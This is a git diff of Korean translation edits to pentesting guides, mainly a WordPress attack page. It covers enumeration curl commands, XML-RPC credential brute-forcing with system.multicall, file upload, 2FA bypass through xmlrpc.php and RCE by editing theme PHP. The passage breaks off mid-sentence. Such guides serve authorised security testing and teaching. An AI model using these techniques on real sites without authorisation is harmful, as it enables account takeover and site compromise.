API๋ฅผ ๋ณดํ˜ธํ•˜๊ธฐ ์œ„ํ•œ ํฌ๊ด„์ ์ธ ์ฒดํฌ๋ฆฌ์ŠคํŠธ ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). +- **Logger++ Filters**: API ์ทจ์•ฝ์  ํƒ์ƒ‰์„ ์œ„ํ•ด Logger++๋Š” ์œ ์šฉํ•œ ํ•„ํ„ฐ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). +- **API Endpoints List**: ํ…Œ์ŠคํŠธ์šฉ ์ž ์žฌ API ์—”๋“œํฌ์ธํŠธ๋ฅผ ์„ ๋ณ„ํ•œ ๋ชฉ๋ก ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). -## References +## ์ฐธ๊ณ  ์ž๋ฃŒ - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) +- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 7923f364d..db95450c8 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,49 +4,49 @@ ## ๊ธฐ๋ณธ ์ •๋ณด -- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Uploaded** ํŒŒ์ผ์€ ๋‹ค์Œ ์œ„์น˜์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **ํ…Œ๋งˆ ํŒŒ์ผ์€ /wp-content/themes/์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค,** ๋”ฐ๋ผ์„œ ํ…Œ๋งˆ์˜ php๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ RCE๋ฅผ ์–ป์œผ๋ ค๋Š” ๊ฒฝ์šฐ ์ผ๋ฐ˜์ ์œผ๋กœ ํ•ด๋‹น ๊ฒฝ๋กœ๋ฅผ ์‚ฌ์šฉํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์˜ˆ: **theme twentytwelve**๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋‹ค์Œ์—์„œ **404.php** ํŒŒ์ผ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **๋˜ ๋‹ค๋ฅธ ์œ ์šฉํ•œ URL:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **wp-config.php** ํŒŒ์ผ์—์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๋ฃจํŠธ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- ๊ธฐ๋ณธ ๋กœ๊ทธ์ธ ๊ฒฝ๋กœ(ํ™•์ธํ•  ๊ฒƒ): _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- `wp-config.php` ํŒŒ์ผ์—์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋ฃจํŠธ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- ํ™•์ธํ•  ๊ธฐ๋ณธ ๋กœ๊ทธ์ธ ๊ฒฝ๋กœ: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ -### **์ฃผ์š” WordPress ํŒŒ์ผ** +### **Main WordPress Files** - `index.php` -- `license.txt`์—๋Š” ์„ค์น˜๋œ WordPress ๋ฒ„์ „ ๋“ฑ ์œ ์šฉํ•œ ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. -- `wp-activate.php`๋Š” ์ƒˆ WordPress ์‚ฌ์ดํŠธ ์„ค์ • ์‹œ ์ด๋ฉ”์ผ ํ™œ์„ฑํ™” ๊ณผ์ •์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. -- ๋กœ๊ทธ์ธ ํด๋” (์ˆจ๊ธฐ๊ธฐ ์œ„ํ•ด ์ด๋ฆ„์ด ๋ณ€๊ฒฝ๋˜์—ˆ์„ ์ˆ˜ ์žˆ์Œ): +- `license.txt`์—๋Š” ์„ค์น˜๋œ WordPress ๋ฒ„์ „๊ณผ ๊ฐ™์€ ์œ ์šฉํ•œ ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. +- `wp-activate.php`๋Š” ์ƒˆ๋กœ์šด WordPress ์‚ฌ์ดํŠธ๋ฅผ ์„ค์ •ํ•  ๋•Œ ์ด๋ฉ”์ผ ํ™œ์„ฑํ™” ๊ณผ์ •์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. +- ๋กœ๊ทธ์ธ ํด๋”(์ˆจ๊ธฐ๊ธฐ ์œ„ํ•ด ์ด๋ฆ„์ด ๋ณ€๊ฒฝ๋  ์ˆ˜ ์žˆ์Œ): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php`๋Š” HTTP๋ฅผ ์ „์†ก ๋ฉ”์ปค๋‹ˆ์ฆ˜์œผ๋กœ, XML์„ ์ธ์ฝ”๋”ฉ ๋ฉ”์ปค๋‹ˆ์ฆ˜์œผ๋กœ ์‚ฌ์šฉํ•ด ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋Š” WordPress ๊ธฐ๋Šฅ์„ ๋‚˜ํƒ€๋‚ด๋Š” ํŒŒ์ผ์ž…๋‹ˆ๋‹ค. ์ด ์œ ํ˜•์˜ ํ†ต์‹ ์€ WordPress์˜ [REST API](https://developer.wordpress.org/rest-api/reference)๋กœ ๋Œ€์ฒด๋˜์—ˆ์Šต๋‹ˆ๋‹ค. -- `wp-content` ํด๋”๋Š” ํ”Œ๋Ÿฌ๊ทธ์ธ๊ณผ ํ…Œ๋งˆ๊ฐ€ ์ €์žฅ๋˜๋Š” ์ฃผ์š” ๋””๋ ‰ํ† ๋ฆฌ์ž…๋‹ˆ๋‹ค. -- `wp-content/uploads/` ๋Š” ํ”Œ๋žซํผ์— ์—…๋กœ๋“œ๋œ ๋ชจ๋“  ํŒŒ์ผ์ด ์ €์žฅ๋˜๋Š” ๋””๋ ‰ํ† ๋ฆฌ์ž…๋‹ˆ๋‹ค. -- `wp-includes/`๋Š” ์ธ์ฆ์„œ, ๊ธ€๊ผด, JavaScript ํŒŒ์ผ, ์œ„์ ฏ ๋“ฑ ํ•ต์‹ฌ ํŒŒ์ผ์ด ์ €์žฅ๋˜๋Š” ๋””๋ ‰ํ† ๋ฆฌ์ž…๋‹ˆ๋‹ค. -- `wp-sitemap.xml` WordPress 5.5 ์ด์ƒ ๋ฒ„์ „์—์„œ๋Š” ๊ณต๊ฐœ ํฌ์ŠคํŠธ์™€ ๊ณต๊ฐœ์ ์œผ๋กœ ์ฟผ๋ฆฌ ๊ฐ€๋Šฅํ•œ ํฌ์ŠคํŠธ ํƒ€์ž… ๋ฐ ๋ถ„๋ฅ˜(taxonomies)๋ฅผ ํฌํ•จํ•œ sitemap XML ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. +- `xmlrpc.php`๋Š” HTTP๋ฅผ ์ „์†ก ๋ฉ”์ปค๋‹ˆ์ฆ˜์œผ๋กœ, XML์„ ์ธ์ฝ”๋”ฉ ๋ฉ”์ปค๋‹ˆ์ฆ˜์œผ๋กœ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” WordPress ๊ธฐ๋Šฅ์„ ๋‚˜ํƒ€๋‚ด๋Š” ํŒŒ์ผ์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ข…๋ฅ˜์˜ ํ†ต์‹ ์€ WordPress์˜ [REST API](https://developer.wordpress.org/rest-api/reference)๋กœ ๋Œ€์ฒด๋˜์—ˆ์Šต๋‹ˆ๋‹ค. +- `wp-content` ํด๋”๋Š” ํ”Œ๋Ÿฌ๊ทธ์ธ๊ณผ ํ…Œ๋งˆ๊ฐ€ ์ €์žฅ๋˜๋Š” ์ฃผ์š” ๋””๋ ‰ํ„ฐ๋ฆฌ์ž…๋‹ˆ๋‹ค. +- `wp-content/uploads/`๋Š” ํ”Œ๋žซํผ์— ์—…๋กœ๋“œ๋œ ๋ชจ๋“  ํŒŒ์ผ์ด ์ €์žฅ๋˜๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ์ž…๋‹ˆ๋‹ค. +- `wp-includes/`๋Š” ์ธ์ฆ์„œ, ๊ธ€๊ผด, JavaScript ํŒŒ์ผ ๋ฐ ์œ„์ ฏ๊ณผ ๊ฐ™์€ ํ•ต์‹ฌ ํŒŒ์ผ์ด ์ €์žฅ๋˜๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ์ž…๋‹ˆ๋‹ค. +- `wp-sitemap.xml` WordPress 5.5 ์ด์ƒ ๋ฒ„์ „์—์„œ๋Š” ๋ชจ๋“  ๊ณต๊ฐœ ๊ฒŒ์‹œ๋ฌผ ๋ฐ ๊ณต๊ฐœ์ ์œผ๋กœ ์ฟผ๋ฆฌ ๊ฐ€๋Šฅํ•œ ํฌ์ŠคํŠธ ํƒ€์ž…๊ณผ ๋ถ„๋ฅ˜(taxonomies)๋ฅผ ํฌํ•จํ•œ sitemap XML ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. -**Post exploitation** +Post exploitation -- `wp-config.php` ํŒŒ์ผ์—๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ด๋ฆ„, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํ˜ธ์ŠคํŠธ, ์‚ฌ์šฉ์ž๋ช…๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ, ์ธ์ฆ ํ‚ค ๋ฐ ์†”ํŠธ, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํ…Œ์ด๋ธ” ์ ‘๋‘์‚ฌ ๋“ฑ WordPress๊ฐ€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์—ฐ๊ฒฐํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ ์ •๋ณด๊ฐ€ ๋“ค์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์„ค์ • ํŒŒ์ผ์€ ๋˜ํ•œ ๋ฌธ์ œ ํ•ด๊ฒฐ ์‹œ ์œ ์šฉํ•œ DEBUG ๋ชจ๋“œ๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- `wp-config.php` ํŒŒ์ผ์—๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ด๋ฆ„, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํ˜ธ์ŠคํŠธ, ์‚ฌ์šฉ์ž๋ช… ๋ฐ ๋น„๋ฐ€๋ฒˆํ˜ธ, ์ธ์ฆ ํ‚ค์™€ ์†”ํŠธ, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํ…Œ์ด๋ธ” ์ ‘๋‘์‚ฌ ๋“ฑ WordPress๊ฐ€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์—ฐ๊ฒฐํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ตฌ์„ฑ ํŒŒ์ผ์€ ๋˜ํ•œ DEBUG ๋ชจ๋“œ๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋ฌธ์ œ ํ•ด๊ฒฐ ์‹œ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ### ์‚ฌ์šฉ์ž ๊ถŒํ•œ - **Administrator** -- **Editor**: ์ž์‹ ์˜ ๋ฐ ๋‹ค๋ฅธ ์‚ฌ๋žŒ์˜ ๊ฒŒ์‹œ๋ฌผ์„ ๋ฐœํ–‰ํ•˜๊ณ  ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค -- **Author**: ์ž์‹ ์˜ ๊ฒŒ์‹œ๋ฌผ์„ ๋ฐœํ–‰ํ•˜๊ณ  ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค -- **Contributor**: ์ž‘์„ฑํ•˜๊ณ  ์ž์‹ ์˜ ๊ฒŒ์‹œ๋ฌผ์„ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ์œผ๋‚˜ ๊ฒŒ์‹œํ•  ์ˆ˜๋Š” ์—†์Šต๋‹ˆ๋‹ค -- **Subscriber**: ๊ฒŒ์‹œ๋ฌผ์„ ์—ด๋žŒํ•˜๊ณ  ํ”„๋กœํ•„์„ ์ˆ˜์ •ํ•ฉ๋‹ˆ๋‹ค +- **Editor**: ๊ฒŒ์‹œํ•˜๊ณ  ์ž์‹ ์˜ ๋ฐ ํƒ€์ธ์˜ ๊ฒŒ์‹œ๋ฌผ์„ ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค +- **Author**: ์ž์‹ ์˜ ๊ฒŒ์‹œ๋ฌผ์„ ๊ฒŒ์‹œํ•˜๊ณ  ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค +- **Contributor**: ๊ฒŒ์‹œ๋ฌผ์„ ์ž‘์„ฑํ•˜๊ณ  ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ์œผ๋‚˜ ๊ฒŒ์‹œํ•  ์ˆ˜๋Š” ์—†์Šต๋‹ˆ๋‹ค +- **Subscriber**: ๊ฒŒ์‹œ๋ฌผ์„ ์—ด๋žŒํ•˜๊ณ  ์ž์‹ ์˜ ํ”„๋กœํ•„์„ ํŽธ์ง‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค -## **์ˆ˜๋™ ์—ด๊ฑฐ** +## **Passive Enumeration** ### **WordPress ๋ฒ„์ „ ํ™•์ธ** ํŒŒ์ผ `/license.txt` ๋˜๋Š” `/readme.html`์„ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. -ํŽ˜์ด์ง€์˜ **์†Œ์Šค ์ฝ”๋“œ** ์•ˆ์—์„œ (์˜ˆ: [https://wordpress.org/support/article/pages/]): +ํŽ˜์ด์ง€์˜ **์†Œ์Šค ์ฝ”๋“œ** ์•ˆ์—์„œ (์˜ˆ: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### ์ผ๋ฐ˜์ ์ธ ๋ฒ„์ „ ์ถ”์ถœ +### ์ผ๋ฐ˜์ ์œผ๋กœ ๋ฒ„์ „ ์ถ”์ถœํ•˜๊ธฐ ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 @@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### ํ”Œ๋Ÿฌ๊ทธ์ธ ๋ฐ ํ…Œ๋งˆ -๋ชจ๋“  ํ”Œ๋Ÿฌ๊ทธ์ธ ๋ฐ ํ…Œ๋งˆ๋ฅผ ์ „๋ถ€ ์ฐพ์„ ์ˆ˜๋Š” ์—†์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ๋“ค์„ ๋ชจ๋‘ ๋ฐœ๊ฒฌํ•˜๋ ค๋ฉด **actively Brute Force a list of Plugins and Themes** ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค (์šด ์ข‹๊ฒŒ๋„ ์ด๋Ÿฌํ•œ ๋ชฉ๋ก์„ ํฌํ•จํ•œ ์ž๋™ํ™” ๋„๊ตฌ๋“ค์ด ์žˆ์Šต๋‹ˆ๋‹ค). +์•„๋งˆ ๋ชจ๋“  ํ”Œ๋Ÿฌ๊ทธ์ธ๊ณผ ํ…Œ๋งˆ๋ฅผ ์ฐพ์„ ์ˆ˜๋Š” ์—†์Šต๋‹ˆ๋‹ค. ๋ชจ๋‘ ์ฐพ์œผ๋ ค๋ฉด **์ ๊ทน์ ์œผ๋กœ Brute Forceํ•˜์—ฌ ํ”Œ๋Ÿฌ๊ทธ์ธ ๋ฐ ํ…Œ๋งˆ ๋ชฉ๋ก์„ ์กฐ์‚ฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค** (์šด์ด ์ข‹๋‹ค๋ฉด ์ด๋Ÿฌํ•œ ๋ชฉ๋ก์„ ํฌํ•จํ•œ ์ž๋™ํ™” ๋„๊ตฌ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค). ### ์‚ฌ์šฉ์ž @@ -89,25 +89,25 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -์‘๋‹ต์ด **200** ๋˜๋Š” **30X**์ด๋ฉด ํ•ด๋‹น id๊ฐ€ **์œ ํšจ**ํ•ฉ๋‹ˆ๋‹ค. ์‘๋‹ต์ด **400**์ด๋ฉด id๊ฐ€ **๋ฌดํšจ**์ž…๋‹ˆ๋‹ค. +์‘๋‹ต์ด **200** ๋˜๋Š” **30X**์ด๋ฉด ํ•ด๋‹น id๊ฐ€ **์œ ํšจ**ํ•˜๋‹ค๋Š” ์˜๋ฏธ์ž…๋‹ˆ๋‹ค. ์‘๋‹ต์ด **400**์ด๋ฉด id๊ฐ€ **๋ฌดํšจ**์ž…๋‹ˆ๋‹ค. -- **wp-json:** ์‚ฌ์šฉ์ž ์ •๋ณด๋ฅผ ์ฟผ๋ฆฌํ•ด ์–ป์–ด๋ณผ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค: +- **wp-json:** ์ฟผ๋ฆฌํ•˜์—ฌ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์–ป์–ด๋ณผ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ์ผ๋ถ€ ์ •๋ณด๋ฅผ ๋“œ๋Ÿฌ๋‚ผ ์ˆ˜ ์žˆ๋Š” ๋˜ ๋‹ค๋ฅธ `/wp-json/` ์—”๋“œํฌ์ธํŠธ๋Š”: +์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ์ผ๋ถ€ ์ •๋ณด๋ฅผ ๋…ธ์ถœํ•  ์ˆ˜ ์žˆ๋Š” ๋˜ ๋‹ค๋ฅธ `/wp-json/` endpoint๋Š”: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -์ด ์—”๋“œํฌ์ธํŠธ๋Š” ๊ฒŒ์‹œ๋ฌผ์„ ์ž‘์„ฑํ•œ ์‚ฌ์šฉ์ž๋งŒ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. **์ด ๊ธฐ๋Šฅ์ด ํ™œ์„ฑํ™”๋œ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ์ •๋ณด๋งŒ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค**. +Note that this endpoint only exposes users that have made a post. **Only information about the users that has this feature enable will be provided**. -๋˜ํ•œ **/wp-json/wp/v2/pages**๊ฐ€ IP ์ฃผ์†Œ๋ฅผ leakํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”. +๋˜ํ•œ **/wp-json/wp/v2/pages**๋Š” IP ์ฃผ์†Œ๋ฅผ leakํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **Login username enumeration**: ๋กœ๊ทธ์ธ ์‹œ **`/wp-login.php`**์˜ **๋ฉ”์‹œ์ง€**๊ฐ€ **์„œ๋กœ ๋‹ค๋ฅด๋ฉฐ** **์‚ฌ์šฉ์ž๋ช… ์กด์žฌ ์—ฌ๋ถ€**๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. +- **Login username enumeration**: ๋กœ๊ทธ์ธ ์‹œ **`/wp-login.php`**์˜ **๋ฉ”์‹œ์ง€**๋Š” ์ง€์ •ํ•œ **username**์˜ ์กด์žฌ ์—ฌ๋ถ€์— ๋”ฐ๋ผ **๋‹ค๋ฆ…๋‹ˆ๋‹ค**. ### XML-RPC -`xml-rpc.php`๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด credentials brute-force๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ฑฐ๋‚˜ ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค๋ฅธ ๋ฆฌ์†Œ์Šค์— DoS ๊ณต๊ฒฉ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). +If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). ํ™œ์„ฑํ™” ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๋ ค๋ฉด _**/xmlrpc.php**_์— ์ ‘๊ทผํ•ด ๋‹ค์Œ ์š”์ฒญ์„ ๋ณด๋‚ด๋ณด์„ธ์š”: @@ -122,7 +122,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** ๋˜๋Š” **`metaWeblog.getUsersBlogs`** ๋Š” credentials์„ brute-forceํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ช‡ ๊ฐ€์ง€ ๋ฉ”์„œ๋“œ์ž…๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์ด๋“ค ์ค‘ ํ•˜๋‚˜๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์š”์ฒญ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +**`wp.getUserBlogs`**, **`wp.getCategories`** ๋˜๋Š” **`metaWeblog.getUsersBlogs`**๋Š” credentials๋ฅผ brute-forceํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•๋“ค ์ค‘ ์ผ๋ถ€์ž…๋‹ˆ๋‹ค. ๋งŒ์•ฝ ๊ทธ ์ค‘ ํ•˜๋‚˜๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์š”์ฒญ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```html wp.getUsersBlogs @@ -132,13 +132,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -์ž๊ฒฉ ์ฆ๋ช…์ด ์œ ํšจํ•˜์ง€ ์•Š์„ ๊ฒฝ์šฐ 200 ์ฝ”๋“œ ์‘๋‹ต ๋‚ด์— _"Incorrect username or password"_ ๋ฉ”์‹œ์ง€๊ฐ€ ํ‘œ์‹œ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +credentials๊ฐ€ ์œ ํšจํ•˜์ง€ ์•Š์€ ๊ฒฝ์šฐ 200 ์‘๋‹ต ์ฝ”๋“œ ๋‚ด์— _"Incorrect username or password"_ ๋ฉ”์‹œ์ง€๊ฐ€ ํ‘œ์‹œ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -์˜ฌ๋ฐ”๋ฅธ ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜๋ฉด ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‘๋‹ต์— ๊ฒฝ๋กœ๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +์˜ฌ๋ฐ”๋ฅธ credentials๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‘๋‹ต์—๋Š” ๊ฒฝ๋กœ๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -168,18 +168,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -๋˜ํ•œ ๊ฐ™์€ ์š”์ฒญ์—์„œ ์—ฌ๋Ÿฌ credentials๋ฅผ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— **`system.multicall`**์„ ์‚ฌ์šฉํ•ด credentials๋ฅผ ๋” ๋น ๋ฅด๊ฒŒ brute-forceํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋˜ํ•œ ๋™์ผํ•œ ์š”์ฒญ์—์„œ ์—ฌ๋Ÿฌ credentials๋ฅผ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— **`system.multicall`**์„ ์‚ฌ์šฉํ•ด credentials๋ฅผ brute-forceํ•˜๋Š” **๋” ๋น ๋ฅธ ๋ฐฉ๋ฒ•**์ด ์žˆ์Šต๋‹ˆ๋‹ค:
-**Bypass 2FA** +**2FA ์šฐํšŒ** -์ด ๋ฐฉ๋ฒ•์€ ์‚ฌ๋žŒ์„ ์œ„ํ•œ ๊ฒƒ์ด ์•„๋‹ˆ๋ผ ํ”„๋กœ๊ทธ๋žจ์šฉ์œผ๋กœ ์˜ค๋ž˜๋œ ๋ฐฉ์‹์ด์–ด์„œ 2FA๋ฅผ ์ง€์›ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์œ ํšจํ•œ creds๊ฐ€ ์žˆ์ง€๋งŒ ๋ฉ”์ธ ์ง„์ž…์ด 2FA๋กœ ๋ณดํ˜ธ๋˜์–ด ์žˆ๋‹ค๋ฉด, **xmlrpc.php๋ฅผ ์•…์šฉํ•ด ํ•ด๋‹น creds๋กœ ๋กœ๊ทธ์ธํ•˜์—ฌ 2FA๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค**. ์ฝ˜์†”์„ ํ†ตํ•ด ํ•  ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜๋Š” ์—†์ง€๋งŒ, Ippsec๊ฐ€ [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)์—์„œ ์„ค๋ช…ํ•˜๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ์—ฌ์ „ํžˆ RCE์— ๋„๋‹ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ด ๋ฐฉ๋ฒ•์€ ์‚ฌ๋žŒ์„ ์œ„ํ•œ 